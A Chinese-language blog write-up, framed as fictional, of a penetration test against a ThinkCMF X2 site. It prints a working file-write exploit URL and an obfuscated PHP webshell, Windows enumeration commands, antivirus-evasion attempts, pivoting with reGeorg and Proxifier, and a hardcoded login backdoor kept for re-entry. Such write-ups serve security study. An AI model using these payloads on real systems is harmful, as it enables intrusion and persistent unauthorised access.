记一次拟真环境的模拟渗透测试

Vulkey_Chen 2019年11月24日05:53:47评论1,996 views字数 5933阅读19分46秒阅读模式
摘要

注:此文为虚构,如有雷同实属巧合。本文仅用于记录,Web打点,内网横向一些很常规化的东西。


记一次拟真环境的模拟渗透测试

记一次拟真环境的模拟渗透测试

注:此文为虚构,如有雷同实属巧合。

本文仅用于记录,Web打点,内网横向一些很常规化的东西。

目标站:http://vuln_attack/

任务:权限、横向

前·信息收集(踩点)

  • 端口开放
    • 80 - HTTP
    • 3389 - RDP
  • 指纹
    • ThinkCMF
    • PHP/5.6.36
    • IIS
  • 目录探测(只探测状态码为301、302、200)
    • http://vuln_attack:80/admin (后台)
      • http://vuln_attack:80/admin/themes/
    • http://vuln_attack:80/api
    • http://vuln_attack:80/aspnet_client (IIS结构)
    • http://vuln_attack:80/data
      • http://vuln_attack:80/data/logs/
      • http://vuln_attack:80/data/upload/
      • http://vuln_attack:80/data/backup/
      • http://vuln_attack:80/data/conf/
        • /index.html
        • /config.php
        • /db.php
    • http://vuln_attack:80/plugins
    • http://vuln_attack:80/public
    • http://vuln_attack:80/test (PHPINFO)
      • /log.txt
      • /0.php
      • /1.php
      • /00.php
      • /01.php
      • /02.php
      • /03.php
      • /04.php
      • /05.php
    • http://vuln_attack:80/themes
    • http://vuln_attack:80/update
    • http://vuln_attack:80/application
    • http://vuln_attack:80/cust
    • http://vuln_attack:80/re (500)
    • http://vuln_attack:80/rp (500)
    • http://vuln_attack:80/www.rar (网站备份源码)
    • http://vuln_attack:80/index.php
    • http://vuln_attack:80/license.txt
  • 其他收集 通过下载www.rar文件获得网站备份源码获得的信息
    • 寻找密码
      • grep -i -r "pwd' => '" ./ 结果: 记一次拟真环境的模拟渗透测试
        • sxxxx3
        • rxxxx3
      • grep -i -r "pass' => '" ./ 结果:无
      • grep -i -r "password' => '" ./ 结果:无

中·渗透打入

ThinkCMFx2 0day Get Webshell

  • 已知该系统业务为ThinkCMF,且通过泄露的源码文件中得知版本为x2.0.0

    define("SIMPLEWIND_CMF_VERSION", 'X2.0.0');

    使用ThinkCMF的GetWebshell的Exp打一波(结果:未成功)

    记一次拟真环境的模拟渗透测试

    访问r.php是404的:

    记一次拟真环境的模拟渗透测试

    但在本地搭建测试的时候是可以写入的(Exploit:/index.php?xxx=file_put_contents('r.php','<?php%20eval($_REQUEST[r]);')):

    记一次拟真环境的模拟渗透测试

    思考: a.是否可以写入但被删除 b.exp是否被拦截

    • 修改exp为/index.php?xxx=file_put_contents('1.txt','123'):写入1.txt内容为123

      记一次拟真环境的模拟渗透测试

      结果: 上传成功访问存在,可利用exp写文件

    • 修改exp为/index.php?xxx=file_put_contents('1.php','123'):写入1.php内容为123

      记一次拟真环境的模拟渗透测试

      结果: 上传成功访问存在,可利用exp写PHP文件

    • 修改exp为/index.php?xxx=file_put_contents('1.php','<?php+$a="assert";$a(base64_decode(@$_REQUEST[k]));?>')

      简单的写了一个绕过的PHP一句话脚本木马:

      <?php $a="assert";$a(base64_decode(@$_REQUEST[k]));?>

      结果: 上传成功访问存在,Webshell拿下

      记一次拟真环境的模拟渗透测试

接下来我们进入后深入阶段。

后·深入

主机信息收集

域环境判断

  • net user /domain
  • 查看域内的用户(此处用来判断是否有域环境)
  • 结果:此处非域环境
这项请求将在域 WORKGROUP 的域控制器处理。  发生系统错误 1355。  指定的域不存在,或无法联系。 

信息收集

  • whoami /all
  • 查看当前用户
用户信息 ----------------  用户名            SID      ================= ======== nt authority/iusr S-1-5-17   组信息 -----------------  组名                                 类型   SID          属性                           ==================================== ====== ============ ============================== Mandatory Label/High Mandatory Level 标签   S-1-16-12288                                Everyone                             已知组 S-1-1-0      必需的组, 启用于默认, 启用的组 BUILTIN/Users                        别名   S-1-5-32-545 必需的组, 启用于默认, 启用的组 NT AUTHORITY/SERVICE                 已知组 S-1-5-6      只用于拒绝的组                 控制台登录                           已知组 S-1-2-1      必需的组, 启用于默认, 启用的组 NT AUTHORITY/Authenticated Users     已知组 S-1-5-11     必需的组, 启用于默认, 启用的组 NT AUTHORITY/This Organization       已知组 S-1-5-15     必需的组, 启用于默认, 启用的组 LOCAL                                已知组 S-1-2-0      必需的组, 启用于默认, 启用的组   特权信息 ----------------------  特权名                  描述                 状态   ======================= ==================== ====== SeChangeNotifyPrivilege 绕过遍历检查         已启用 SeImpersonatePrivilege  身份验证后模拟客户端 已启用 SeCreateGlobalPrivilege 创建全局对象         已启用 
  • net user
  • 查看用户
// 的用户帐户  ------------------------------------------------------------------------------- Administrator            Guest                    MYSQL_SF_xxxx           命令运行完毕,但发生一个或多个错误。 
  • net localgroup administrators
  • 查看本地管理员用户
别名     administrators 注释     管理员对计算机/域有不受限制的完全访问权  成员  ------------------------------------------------------------------------------- Administrator 命令成功完成。 
  • ipconfig /all
  • 查看本机IP、DNS信息、DHCP服务器信息等
  • 结果:此处查看发现并不是内网IP段
Windows IP 配置     主机名  . . . . . . . . . . . . . : WIN-xxx    主 DNS 后缀 . . . . . . . . . . . :     节点类型  . . . . . . . . . . . . : 混合    IP 路由已启用 . . . . . . . . . . : 否    WINS 代理已启用 . . . . . . . . . : 否  以太网适配器 xxxx.133:     连接特定的 DNS 后缀 . . . . . . . :     描述. . . . . . . . . . . . . . . : Microsoft Hyper-V 网络适配器    物理地址. . . . . . . . . . . . . : xx-xx-xx-xx-xx-xx    DHCP 已启用 . . . . . . . . . . . : 否    自动配置已启用. . . . . . . . . . : 是    本地链接 IPv6 地址. . . . . . . . : xxx%11(首选)     IPv4 地址 . . . . . . . . . . . . : xxxx.133(首选)     子网掩码  . . . . . . . . . . . . : 255.255.255.192    默认网关. . . . . . . . . . . . . : xxxx.190    DHCPv6 IAID . . . . . . . . . . . : 234886493    DHCPv6 客户端 DUID  . . . . . . . : xxxx    DNS 服务器  . . . . . . . . . . . : xxxx.151.161                                        xxxx.156.66    TCPIP 上的 NetBIOS  . . . . . . . : 已启用 ... 
  • arp -a
  • 查看arp的缓冲记录(获取存活的IP地址)

ARP缓存是个用来储存IP地址和MAC地址的缓冲区,其本质就是一个IP地址–>MAC地址的对应表,表中每一个条目分别记录了网络上其他主机的IP地址和对应的MAC地址。每一个以太网或令牌环网络适配器都有自己单独的表。

接口: xxxx.133 --- 0xb   Internet 地址         物理地址              类型   xxxx.129          xx-xx-xx-xx-xx-xx     动态           xxxx.135          xx-xx-xx-xx-xx-xx     动态           xxxx.149          xx-xx-xx-xx-xx-xx     动态           xxxx.150          xx-xx-xx-xx-xx-xx     动态           xxxx.168          xx-xx-xx-xx-xx-xx     动态           xxxx.190          xx-xx-xx-xx-xx-xx     动态           xxxx.191          xx-xx-xx-xx-xx-xx     静态   ...              
  • tasklist
  • 查看系统任务进程
  • 结果:发现存在SafeDog安全防护软件
tasklist  映像名称                       PID 会话名              会话#       内存使用  ========================= ======== ================ =========== ============ System Idle Process              0                            0         24 K System                           4                            0      5,184 K smss.exe                       288                            0      1,156 K mysqld.exe                    1396                            0    839,672 K SafeDogGuardHelper.exe        6476                            2     18,220 K SafeDogGuardHelper.exe        9536                            2     11,748 K ... 

主机提权

  • systeminfo
  • 查看系统信息
主机名:           WIN-xxxx OS 名称:          Microsoft Windows Server 2008 R2 Datacenter  OS 版本:          6.1.7601 Service Pack 1 Build 7601 OS 制造商:        Microsoft Corporation OS 配置:          独立服务器 OS 构件类型:      Multiprocessor Free 注册的所有人:     Windows 用户 注册的组织:        产品 ID:          xxxx 初始安装日期:     2018/5/9, 22:50:59 系统启动时间:     2018/8/31, 9:38:26 系统制造商:       Microsoft Corporation 系统型号:         Virtual Machine 系统类型:         x64-based PC 处理器:           安装了 1 个处理器。                   [01]: Intel64 Family 6 Model 63 Stepping 2 GenuineIntel ~2500 Mhz BIOS 版本:        American Megatrends Inc. 090006 , 2012/5/23 Windows 目录:     C:/Windows 系统目录:         C:/Windows/system32 启动设备:         /Device/HarddiskVolume1 系统区域设置:     zh-cn;中文(中国) 输入法区域设置:   zh-cn;中文(中国) 时区:             (UTC+08:00) 北京,重庆,香港特别行政区,乌鲁木齐 物理内存总量:     8,192 MB 可用的物理内存:   4,779 MB 虚拟内存: 最大值: 16,381 MB 虚拟内存: 可用:   12,977 MB 虚拟内存: 使用中: 3,404 MB 页面文件位置:     C:/pagefile.sys 域:               WORKGROUP 登录服务器:       暂缺 修补程序:         暂缺 网卡:             安装了 1 个 NIC。                   [01]: Microsoft Hyper-V 网络适配器                       连接名:      xxxx.133                       启用 DHCP:   否                       IP 地址                         [01]: xxxx.133                         [02]: xxxxx 

根据获取的系统信息判断可使用的提权Exploit,尝试上传提权Exploit,运行即被杀:

C:/APP/www/>exp.exe 'exp.exe' 不是内部或外部命令,也不是可运行的程序 或批处理文件。 

通过之前的信息收集知道存在”安全狗”防护软件,发现被杀的Exp都存放在C:/SafeDogRecycle/目录下,文件被随机命名:

 C:/SafeDogRecycle 的目录     <DIR>          .     <DIR>          ..     02ebe5a9-1abf-4f85-839c-2b74deebb02f     ... 

后经测试发现将Exploit存在C:/SafeDogRecycle/目录部分行为并不会被杀,但敏感行为还是会被Kill掉。

本地搭建服务器安全狗,利用修改特征码的方式进行免杀,但即使Bypass了安全狗,Exploit也无法执行,补丁已经打上了。

利用收集到的口令进行字典的整合,猜测管理员密码也无解~

结果: 提权失败

横向

地址:

xxxx.129 xxxx.135 xxxx.149 xxxx.150 xxxx.168 xxxx.190 xxxx.191 

端口扫描仅仅发现xxxx.129xxxx.135存在着服务

xxxx.135

访问该站点发现其为IIS8.5

经探测并无什么有价值性的东西。

xxxx.129

访问该站点发现到了其他的一个站点,这个站点也为ThinkCMFX2,使用上文所述方法拿下WebShell。

环境: Linux

内核: Linux izbp15gn5pyr1s5tlc45h0z 3.10.0-693.2.2.el7.x86_64

权限: www

网络环境: 内网

经过测试发现本机用户权限真的很低,gcc之类的操作都没权限进行,尝试使用suid提权也无果,就连反弹个shell都提示bash: /bin/sh: Permission denied,醉了~

放弃提权,reGeorg+Proxifier 代理进内网撸一波~

结果:发现一个内网主机存活,ThinkCMFX2又撸下来了

记一次拟真环境的模拟渗透测试

终·其他缺陷

对发现的其他安全缺陷做记录是一件很有必要的事情,为防止单个漏洞被修复,也为了下次更好的“进来”。

前台登录万能密码后门

文件/application/Cust/Controller/LoginController.class.php第214行:

记一次拟真环境的模拟渗透测试

在做登录验证的时候有一个条件:$password=='xxxx@123',前台登录只需要满足密码等于xxxx@123即可实现任意用户的登录。

总结

文章比较常规,总结一句话就是:渗透的前期信息打点很重要,信息的收集要做到细致,就像你看某小电影一样每个高潮的细节都不会放过~

<< · Index · >>

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
Vulkey_Chen
  • 本文由 发表于 2019年11月24日05:53:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次拟真环境的模拟渗透测试https://cn-sec.com/archives/74509.html

发表评论

匿名网友 填写信息